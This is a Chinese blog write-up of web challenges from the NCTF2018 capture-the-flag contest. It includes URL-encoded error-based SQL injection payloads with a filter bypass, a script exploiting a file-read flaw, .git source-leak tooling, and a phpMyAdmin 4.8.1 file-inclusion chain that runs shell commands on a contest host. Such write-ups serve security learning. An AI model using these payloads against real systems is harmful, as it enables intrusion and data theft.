NCTF2018-Web部分题WriteUp

NCTF2018

南邮的CTF比赛,Web题做起来感觉还行,比上次LCTF的舒服多了。总体难度还行吧,有些题有小坑。

最后拿了Rank5还算不错感觉。

Web

签到题

签到题,打开发现是百度,URL是secret.php。

F12控制台,去掉secret.php,访问发现是个302,查看内容就是flag了。

滴!晨跑打卡

一个输入框,加一个查询按钮,猜测是SQL注入。先输一个单引号试试。

nctf-wp-1

报错了,是个SQL报错注入。

然后探测一下WAF,是否过滤了一些关键词。

nctf-wp-2

确实是有的,因为是URL编码,简单探测过滤了以下:+, #, -, *

尝试使用updateXML来进行报错注入,用%a0来绕过空格

nctf-wp-3

到这就没技术含量了,套路一波带走

先爆数据库名

%27%7C%7C%28updatexml%281%2Cconcat%280x5e%2C%28select%a0distinct%a0concat%280x7e%2C%a0%28select%a0schema_name%29%2C0x7e%29%a0from%a0information_schema.schemata%a0limit%a02%2C1%29%2C0x5e%29%2C1%29%29%7C%7C%27%27%3D%27dsa

nctf-wp-4

爆表名

%27%7C%7C%28updatexml%281%2Cconcat%280x5e%2C%28select%a0distinct%a0concat%280x7e%2C%a0%28select%a0table_name%29%2C0x7e%29%a0from%a0information_schema.tables%a0where%a0table_schema=%22flaaaaaaag%22%a0limit%a00,1%29%2C0x5e%29%2C1%29%29%7C%7C%27%27%3D%27dsa

nctf-wp-5

爆字段名

%27%7C%7C%28updatexml%281%2Cconcat%280x5e%2C%28select%a0distinct%a0concat%280x7e%2C%a0%28select%a0column_name%29%2C0x7e%29%a0from%a0information_schema.columns%a0where%a0table_name=%22f144444444g%22%a0limit%a00,1%29%2C0x5e%29%2C1%29%29%7C%7C%27%27%3D%27dsa

nctf-wp-6

爆flag

%27%7C%7C%28updatexml%281%2Cconcat%280x5e%2C%28select%a0distinct%a0concat%280x7e%2C%a0%28select%a0th1s_1s_flag%29%2C0x7e%29%a0from%a0flaaaaaaag.f144444444g%a0limit%a00,1%29%2C0x5e%29%2C1%29%29%7C%7C%27%27%3D%27dsa

nctf-wp-7

Go Lakers

一进去是个啥,现在咋变成虎扑了。。。

肯定是302,burp截包康康

nctf-wp-8

nctf-wp-9

post me viewsource

这句话真的是一语双关,让我懵逼了半天。

第一个意思很简单,就是去POST请求这个页面。第二个意思就更简单了,POST一个viewsource。

行吧,我们来POST一个viewsource康康。

nctf-wp-10

当然,我们不会傻到去这样看代码的,其实可以用Firefox的hackbar。。我拷下来丢到html里面康康,代码是这样

<?php
error_reporting(0);
include 'getip.php';
ini_set('open_basedir','.');
if(isset($_POST['viewsource'])){
    highlight_file(__FILE__);
    die();
}

mt_srand(mktime()+$seed);

function de_code($value){
    $value = base64_decode($value);
    $result = '';
    for($i=0;$i<strlen($value);$i++){
        $result .= chr(ord($value[$i])-$i*2);
    }
    return $result;
}

if(!(getip() === '127.0.0.1' && file_get_contents($_GET['9527']) === 'nctf_is_good' && mt_rand(1,10000) === intval($_GET['go_Lakers']))){
    header('location:http://www.baidu.com');
}else{
    echo 'great';
}

echo file_get_contents(de_code($_GET['file_']));

(原来是跳转到百度

看了一坨乱七八糟的,有点懵逼,看到最下面一行echo file_get_contents(de_code($_GET['file_']));,这应该是重点。

上面的if判断并没有什么卵用,因为并不影响下面echo的内容。有用的是de_code的函数,照着函数写一个加密的函数

# by eniv
a = 'flag.php'
for i in range(0,len(a)):
    s = chr(ord(a[i])+i*2)
    print(s,end='')

因为getip.php字符串加密以后最后一个字符是128越界了,因此凉了,没办法看getip.php的内容。这里我们猜测一下,应该是存在flag.php的,请求一下,响应果然是200。那么我们就去读一下flag.php康康

把输出的字符串再base64加密一下,用GET的方法提交上去就可以了。

payload:?file_=Zm5lbTZ6dH4=

nctf-wp-11

于是flag就出来了。。。

全球最大交友网站

打开题目康康,这种纯静态的东西一般没有啥可以挖的。

根据提示GayHub,那么我们就去康康有没有.git目录

nctf-wp-12

403了,证明一定有该目录。

那么脚本一把梭,先上GitHack

nctf-wp-13

下载下来一个README.md,打开发现有提示tag1.0,那么,再上一个脚本GitRefs.sh

nctf-wp-14

下载完了,丢到GitHub Desktop里面直接看就行了(不会git命令嘤嘤嘤

nctf-wp-15

基本操作

打开一看,phpMyAdmin

信息收集一波,静态服务器:Apache/2.4.18,系统:Ubuntu,版本4.8.1

这里就有点懵了,让我去日phpMyAdmin?我要是能日穿这个我就不会在这打比赛了啊(吐血

msf扫一波,没有什么卵用。百度康康4.8.1漏洞,有个文件包含,但是必须登陆进去。

辣么,我们试一试登陆进去吧,用弱密码。

试了一波,发现了用户guest密码guest可以直接登录。。(by 澜洲

登进去了就一把嗦了,直接漏洞复现

nctf-wp-16

之前扫站注意到存在info.php,查看一下session目录

nctf-wp-17

目录是/tmp,辣么直接文件包含就可以了

payload:
index.php?a=phpinfo();&target=db_sql.php%253f/../../../../../../../../tmp/sess_u5lu5u9cbej061r5frtep7meum5kr0bu

nctf-wp-18

看到phpinfo()被执行了,确定文件包含getshell成功

按照套路,查看根目录

payload:
index.php?a=echo%20shell_exec("ls%20/");&target=db_sql.php%253f/../../../../../../../../tmp/sess_u5lu5u9cbej061r5frtep7meum5kr0bu

nctf-wp-19

找到文件,直接cat

payload:
http://ctfgame.acdxvfsvd.net:20006/index.php?a=echo%20shell_exec(%22cat%20/nctfffffffff%22);&target=db_sql.php%253f/../../../../../../../../tmp/sess_u5lu5u9cbej061r5frtep7meum5kr0bu

nctf-wp-20

flask真香

看这篇博客深入SSTI-从NCTF2018两道Flask看bypass新姿势

Flask PLUS

同上,看这篇博客深入SSTI-从NCTF2018两道Flask看bypass新姿势

PWM

Web选手并不是玩PWM的,但是偶然看到一个极低分数的题,不如去van一van?

sendyouflag

输入队伍token然后要求输一堆a

那就从1个a开始试,然后8个a的时候就过了

总结

Web题目感觉还行吧,有脑洞也有套路。

感觉phpMyAdmin的题有点蛋疼,猜不到用户名和密码就没办法往下做,猜出来了就直接漏洞复现。。。

Flask两道题还挺好玩的,其他也有几道题没做出来,期待官方WP。

发表评论

发表回复

*

沙发空缺中,还不快抢~